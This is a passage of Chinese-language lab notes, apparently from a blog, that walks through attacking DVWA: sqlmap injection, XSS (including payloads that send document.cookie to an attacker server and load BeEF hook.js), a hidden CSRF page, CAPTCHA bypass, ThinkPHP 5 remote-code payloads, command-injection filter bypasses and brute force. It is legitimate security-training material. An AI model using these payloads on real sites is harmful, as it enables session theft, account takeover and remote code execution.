| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| user | ee11cbb19052e40b07aac0ca060c23ee (user) |
+---------+---------------------------------------------+

提权操作,与数据库交互:

1
2
3
4
5
6
7
8
9
10
11
12
sqlmap -u "http://192.168.137.146/dvwa/vulnerabilities/sqli/?id=99&Submit=Submit#" --batch --cookie="PHPSESSID=9nfdguaho24opqkkqca6ma4ji0;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --sql-shell

sql-shell> select user,password from users;
[16:44:30] [INFO] fetching SQL SELECT statement query output: 'select user,password from users'
[16:44:30] [CRITICAL] connection dropped or unknown HTTP status code received. Try to force the HTTP User-Agent header with option '--user-agent' or switch '--random-agent'. sqlmap is going to retry the request(s)
select user,password from users [6]:
[*] admin, 21232f297a57a5a743894a0e4a801fc3
[*] gordonb, e99a18c428cb38d5f260853678922e03
[*] 1337, 8d3533d75ae2c3966d7e0d4fcc69216b
[*] pablo, 0d107d09f5bbe40cade3de5c71e9e9b7
[*] smithy, 5f4dcc3b5aa765d61d8327deb882cf99
[*] user, ee11cbb19052e40b07aac0ca060c23ee

4. XSS

Cross Site Scripting

经常遭受跨站脚本攻击的典型应用有:邮件、论坛、即时通信、留言板、社交平台等。

4.1 XSS跨站脚本攻击

XSS是对客户端进行攻击。

常用的HTML标签

1
2
3
4
5
6
7
<iframe>	iframe元素会创建包含另外一个文档的内联框架
<textarea> <textarea>标签定义多行的文本输入控件
<image> img元素向网页中嵌入一张图片
<script> <script>标签用于定义客户端脚本,如JavaScript
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件
必需的type属性规定脚本的MIME类型
JavaScript的常见应用是图像操作,表单验证以及动态内容更新

常用JavaScript方法

1
2
3
4
5
6
alert			alert()方法用于显示带有一条指定信息和一个确认按钮的警告框
window.location window.location对象用于获得当前页面的地址,并把浏览器重定向到新的页面
location.href 返回当前显示的文档的完整URL
onload 一张页面或一张图片完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或图片时发生错误

构造XSS脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号',一旦此脚本能执行,也就意味着后端服务器没有对特殊字符(<>/')做过滤,这样就可以证明这个页面位置存在XSS漏洞。
<script>alert("XSS")</script>
<script>alert(document.cookie)</script> <!-弹出cookie->

页面嵌套
<iframe src="http://www.baidu.com" width=300 height=300></iframe>
<iframe src="http://www.baidu.com" width=0 height=0 border=0></iframe> <!-看不见的页面嵌套->

页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script>
<script>alert('XSS');location.href="http://192.168.137.146/dvwa/robots.txt"</script>
这里结合了一些社工的思路,例如通过网站内部私信的方式将其发给其他用户,如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

恶意访问代码
<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> <!-结合BeEF收集用户的cookie->

巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js">

绕开过滤脚本
大小写<ScrIpt>alert('XSS')</SCRipt>
字符编码 采用URL,Base64等编码
<a href="&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#59;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">hacker</a> <!-unicode编码->

收集用户cookie
打开新窗口并且采用本地cookie访问目标网页
<script>window.open("http://192.168.137.144/cookie_rec.php?cookie="+document.cookie)</script> //弹窗
<script>document.location="http://192.168.137.144/cookie_rec.php?cookie="+document.cookie</script> //跳转空白页面不弹窗
<script>new Image().src="http://192.168.137.144/cookie_rec.php?cookie="+document.cookie;</script> //不会发觉
<img src="http://192.168.137.144/cookie_rec.php?cookie="+document.cookie> //不能用
<iframe src="'http://192.168.137.144/cookie_rec.php?cookie='+document.cookie"></iframe> //不能用
<script>new Image().src="http://192.168.137.144/cookie_rec.php?cookie="+document.cookie;img.width=0;img.height=0;</script> //不会发觉

输出在HTML属性中

1
2
3
4
5
原型:
<input type="text" name="user" value="">
构造payload:
" onlick=alert(/xss/)
"><script>alert(/xss/)</script>

输出在CSS代码中

1
2
3
4
原型:
<style type="text/css">body{color:{""};}</style>
构造payload:
black; background-image:url('javascript:alert(/xss/)')

输出在JavaScript代码中

1
2
3
4
原型:
<script> var name = '';</script>
构造payload:
'+alert(/xss/)+'

XSS反射型

执行弹框:

1
<script>alert("xss")</script>
1
2
3
4
//原链接
http://192.168.137.146/dvwa/vulnerabilities/xss_r/
//新链接
http://192.168.137.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E#

如果别人登进dvwa后,点进新链接,也会执行弹框。可以执行弹框,那也可以让别人点进链接后将他的cookie发到另一台服务器上。

XSS存储型(危害较大)

1
kali-BeEF

这是一个留言板,留言板的内容会停留在网页上,如果将恶意代码放在网页上,每个人一访问这个留言板就会中招。

执行弹框:

1
2
name:hello
message:<script>alert("xss")</script>
1
2
3
4
//原链接:
http://192.168.137.146/dvwa/vulnerabilities/xss_s/
//新链接
http://192.168.137.146/dvwa/vulnerabilities/xss_s/

在链接上不会显示什么,但只要一点XSS stored,就会执行弹框。这样称为挂马,把木马挂在了网页上。

访问另一台机器的文件:

1
<script src="192.168.137.144:3000/hook.js"></script>

4.2 XSS反射型[低]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';

}

?>

没有做任何过滤。可以利用以上的xss脚本进行操作。

4.3 XSS反射型[中]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';

}

?>

str.replace()会做一个字符串替换,将\替换成空。所以可以对\进行重写,或者大小写混合。

1
2
<scr<script>ipt>alert("xss")</script>
<ScrIpt>alert('XSS')</SCRipt>

4.4 XSS反射型[高]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';

}

?>

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

4.5 XSS存储型[低]

1
2
3
4
5
获取cookie,kali作为服务器与攻击机:
构建收集cookie服务器
构造XSS代码植入到web服务器
等待肉鸡触发XSS代码并将cookie发送到服务器
cookie的利用

构建收集cookie服务器:

1
2
3
4
5
6
7
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie."\n\n");
fclose($log);
?>

给以下目录权限,等下生成的文本文件存进去:

1
chown -R www-data.www-data /var/www/

通过渗透机植入XSS代码:

1
2
3
<script>window.open('http://192.168.137.144/cookie_rec.php?cookie='+document.cookie)</script>

注:要先清除之前植入的XSS代码

在XSS存储型网页中,发现前端限制留言长度,直接在前端修改最大长度即可。当用户点进XSS存储型时,会显示弹窗,用户的cookie信息就会收集在服务器上。但现在很多浏览器都会拦截弹窗,所以弄一个不会弹窗的:

1
2
3
<script>new Image().src="http://192.168.137.144/cookie_rec.php?cookie="+document.cookie;</script>

用户几乎不会发觉cookie被盗

4.6 XSS存储型[中]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(isset($_POST['btnSign']))
{

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);

// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

可知message用了 htmlspecialchars() 函数,暂时不知道怎么利用,但name没有用,所以可以将恶意代码写进name里面。

4.7 XSS存储型[高]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if(isset($_POST['btnSign']))
{

$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);

// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

// Sanitize name input
$name = stripslashes($name);
$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

name和message都用htmlspecialchars()规定了,所以不能在这攻击了。

4.8 自动化XSS

BeEF

启动Apache和BeEF:

1
2
3
service apache2 start
cd /usr/share/beef-xss
./beef

启动BeEF会自动生成代码和服务器。账号密码保存在/etc/beef-xss/config.yaml

1
2
3
4
5
6
7
8
9
service apache2 start
cd /usr/share/beef-xss
./beef
//脚本利用
<script src="http://192.168.193.128:3000/hook.js"></script>
//BeEF网站
http://192.168.193.128:3000/ui/panel
//监听端口
ss -tnlp

用户点进XSS存储型后几乎不会发觉木马,BeEF除了能拿到用户的cookie还能实行很多功能。

1
2
3
4
5
命令颜色
绿色 对目标主机生效并且不可见(不会被发现)
灰色 对目标主机未必生效(可验证一下)
橙色 对目标主机生效但可能可见(可能被发现)
红色 对目标主机不生效

5. CSRF(跨站请求伪造)

CSRF是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

5.1 CSRF[低]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php

if (isset($_GET['Change'])) {

// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];


if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match. </pre>";
}

}
?>

这个修改密码竟然是$_GET请求,说明密码会在url上显示。如果用户点击以下链接,他的密码就会改成123。

1
http://192.168.137.146/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

可以用短链接的方法隐藏真实的URL,这样就不容易从链接上看出来修改了密码。

也可以制造一个攻击页面。在本机做一个页面getf.html处理

Getf.html页面代码:

1
2
3
<img src="http://192.168.137.146/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#" border=0 style="display:none;">
<h1>404</h1>
<h2>not found</h2>

把上面链接放在公网某个地址,当用户点击这个链接后,客户可能以为访问了一个失效页面,这样就神不知鬼不觉地修改了用户密码。

5.2 CSRF[中]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php

if (isset($_GET['Change'])) {

// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){

// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];

if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match. </pre>";
}

}

}
?>

eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。源码意思是验证HTTP_REFERER是否是127.0.0.1,判断请求的来源是否是本机,可以通过Burp Suite抓包,然后修改Reffer的值,只要包含127.0.0.1就可以实现修改,甚至可以只是127.0.0.1这个值。

5.3 CSRF[高]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php

if (isset($_GET['Change'])) {

// Turn requests into variables
$pass_curr = $_GET['password_current'];
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match or current password incorrect. </pre>";
}

}
?>

这个在修改密码前要输入原密码,如果不知道原密码,就不能搞了。

6. CAPTCHA

6.1 不安全验证码[低]

CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。 简单来说是验证码的意思。

1
2
3
reCAPTCHA API key NULL in config file.

Please register for a key from reCAPTCHA at [https://www.google.com/recaptcha/admin/create](http://hiderefer.com/?https://www.google.com/recaptcha/admin/create) and set the key in the file /owaspbwa/dvwa-svn/config/config.inc.php

进入这个页面要很长时间,我猜是因为它去访问谷歌拿验证码了。它说要去 https://www.google.com/recaptcha/admin/create 注册密钥再把它放进服务器目录 /owaspbwa/dvwa-svn/config/config.inc.php 里。由于没有科学上网,我就不弄了。

先来看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {

$hide_form = true;
$user = $_POST['username'];
$pass_new = $_POST['password_new'];
$pass_conf = $_POST['password_conf'];
$resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
if (($pass_new == $pass_conf)){
echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
<input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}

else{
echo "<pre> Both passwords must match </pre>";
$hide_form = false;
}
}
}

if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
{
$hide_form = true;
if ($pass_new != $pass_conf)
{
echo "<pre><br />Both passwords must match</pre>";
$hide_form = false;
return;
}
$pass = md5($pass_new);
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match. </pre>";
}
}

?>

很清楚看到,整个修改密码过程分为两步,第一步是验证验证码是否正确,第二步是修改密码。我们可以通过抓包直接将step修改为2跳过验证。

6.2 不安全验证码[中]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {

$hide_form = true;
$user = $_POST['username'];
$pass_new = $_POST['password_new'];
$pass_conf = $_POST['password_conf'];
$resp = recaptcha_check_answer($_DVWA['recaptcha_private_key'],
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
if (($pass_new == $pass_conf)){
echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
<input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}

else{
echo "<pre> Both passwords must match </pre>";
$hide_form = false;
}
}
}

if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
{
$hide_form = true;
if (!$_POST['passed_captcha'])
{
echo "<pre><br />You have not passed the CAPTCHA. Bad hacker, no doughnut.</pre>";
$hide_form = false;
return;
}
$pass = md5($pass_new);
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>

在第二步可以看到多了一个if语句用来验证验证码,要求 $_POST[‘passed_captcha’]为真。只要在修改包的时候多添加一个参数passed_captcha=true即可。

6.3 不安全验证码[高]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 <?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {

$hide_form = true;

$pass_new = $_POST['password_new'];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

$pass_conf = $_POST['password_conf'];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );

$resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Either your current password is incorrect or the new passwords did not match. Please try again. </pre>";
}
}
}
?>

这种加上原密码再加上验证基本很难攻击。

7. 命令执行漏洞

1
2
3
4
5
windows或linux下:
command1 && command2 先执行1再执行2
command1 || command2 先执行1,1为假再执行2
command1 & command2 先执行2再执行1
command1 | command2 只执行2

在过滤情况下的解决办法:

过滤关键字 解决方法 备注
cat ca\t、ca’’t、a=c;b=at;$a$b xxx、less xxx
空格 $IFS$9、<、<>、%20(space)、%09(tab) $IFS是bash中的内部域分隔符,可以代替空格。后面的$9数字是可以随意的,每个数字都有特殊含义,但是和前面的搭配都可以表示空格。
目录分隔符/ cd flag文件所在目录后在cat flag文件 ls后用反斜杠\查看目录里的文件,比如:ls \flag_is_here
&、\ 用;来分隔命令
%0a
flag fla* 不用知道flag的具体名字

7.1 ThinkPHP 5漏洞

payload

1
2
3
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

7.2 命令执行漏洞[低]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}

}
?>

这段代码相当于cmd的ping功能:

1
2
3
4
5
6
7
8
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.008 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.019 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2011ms
rtt min/avg/max/mdev = 0.008/0.016/0.022/0.006 ms

但如果利用合并命令,可以执行ping以外的其他功能,例如127.0.0.1&&pwd

1
2
3
4
5
6
7
8
9
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.008 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.017 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.017 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2019ms
rtt min/avg/max/mdev = 0.008/0.014/0.017/0.004 ms
/owaspbwa/dvwa-git/vulnerabilities/exec

pwd 命令用作显示工作目录的路径名称 。

7.2 命令执行漏洞[中]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_POST[ 'submit'] ) ) {

$target = $_REQUEST[ 'ip' ];

// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}
}

?>

代码是将&&和;都替换成空,但我们可以用||,只要前面条件为假,就执行后面的命令。例如:hello || ls

1
2
3
help
index.php
source

7.3 命令执行漏洞[高]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST["ip"];

$target = stripslashes( $target );


// Split the IP into 4 octects
$octet = explode(".", $target);

// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {

// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];


// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}

}

else {
echo '<pre>ERROR: You have entered an invalid IP</pre>';
}


}

?>

对获取的ip值,先去下划线处理,然后根据’.’来分成数组,判断是否分成四份且每一份是数字的,然后还原回去,对ip值进行ping操作,否则判定输入ip值为非法ip格式。经过这样的处理,输入的只能是ip格式的参数,确保了执行输入参数的安全性。

8. 暴力破解

暴力破解的关键是字典。用crunch生成字典:

1
2
3
4
crunch [min] [max] [characters] -t[patterns] -o[filename]

crunch 6 8 abc123q -t a@@@@b -o test.txt
创建一个至少6个字符,至多8个字符,由abc123q生成的由a开头由b结尾的test.txt字典。

8.1 网页密码暴力破解[低]

1
burp suite

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET['Login'] ) ) {

$user = $_GET['username'];

$pass = $_GET['password'];
$pass = md5($pass);

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

代码很简单,用户输入账号密码后,将用户的密码进行MD5加密,从数据库中找相应的账号密码与之对比,相与为1的话输出用户名和头像。

我们随便输入账号密码,用burpsuite拦截数据包。在burpsuite中右键将包发送至intruder模块。进入intruder的positions模块,选择需要爆破的变量,需要爆破的变量前后面都加$,选择攻击类型:

1
2
3
4
5
6
7
Sniper – 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。

Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中

Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量

Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

选择cluster bomb,再在payloads模块的payload options添加字典。爆破出结果。

第二种方法是SQL注入,从源码看到没有对username和password进行过滤。当试到6个字段的时候,它说成功进入:

1
2
3
' union select 1,2,3,4,5,6 -- d

Welcome to the password protected area ' union select 1,2,3,4,5,6 -- d

8.2 网页密码暴力破解[中]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Login' ] ) ) {

// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows($result) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

mysqli_real_escape_string()会将转义特殊字符,一定程度上防止SQL注入。 所以用[低]的burpsuite方法解决。

8.3 网页密码暴力破解[高]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php

if( isset( $_GET[ 'Login' ] ) ) {

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
